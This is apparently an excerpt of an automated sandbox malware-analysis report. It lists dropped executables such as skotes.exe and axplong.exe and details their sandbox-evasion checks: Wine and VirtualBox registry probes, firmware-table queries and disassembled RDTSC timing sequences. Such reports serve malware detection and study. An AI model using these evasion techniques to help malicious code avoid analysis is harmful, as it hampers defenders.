Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	System information queried: FirmwareTableInformation			Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60F415 second address: 60F43D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F654CE0FA08h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 jmp 00007F654CE0FA13h 0x00000016 push eax 0x00000017 push edx 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78702F second address: 787035 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 785FFE second address: 78602E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA0Fh 0x00000007 jmp 00007F654CE0FA16h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7861BE second address: 7861C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7861C2 second address: 7861F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007F654CE0FA13h 0x0000000e push edx 0x0000000f pop edx 0x00000010 jmp 00007F654CE0FA16h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786755 second address: 78676B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654C734E62h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78676B second address: 786786 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA17h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786786 second address: 786790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786790 second address: 786794 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786794 second address: 78679A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788E5C second address: 788E62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788E62 second address: 788E66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788E66 second address: 788E6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788F1D second address: 788F4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F654C734E67h 0x0000000e popad 0x0000000f mov eax, dword ptr [eax] 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 789277 second address: 7892B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F654CE0FA16h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jp 00007F654CE0FA10h 0x00000017 mov eax, dword ptr [eax] 0x00000019 push eax 0x0000001a push edx 0x0000001b jnl 00007F654CE0FA08h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7892B5 second address: 789339 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E68h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jmp 00007F654C734E5Fh 0x00000012 pop eax 0x00000013 mov dword ptr [ebp+122D1D8Bh], ebx 0x00000019 lea ebx, dword ptr [ebp+1244DD99h] 0x0000001f push 00000000h 0x00000021 push esi 0x00000022 call 00007F654C734E58h 0x00000027 pop esi 0x00000028 mov dword ptr [esp+04h], esi 0x0000002c add dword ptr [esp+04h], 0000001Bh 0x00000034 inc esi 0x00000035 push esi 0x00000036 ret 0x00000037 pop esi 0x00000038 ret 0x00000039 movzx ecx, di 0x0000003c jmp 00007F654C734E67h 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 js 00007F654C734E58h 0x0000004a pushad 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A79F3 second address: 7A7A11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA14h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A7A11 second address: 7A7A2A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F654C734E63h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A7A2A second address: 7A7A52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA0Dh 0x00000007 jnc 00007F654CE0FA12h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
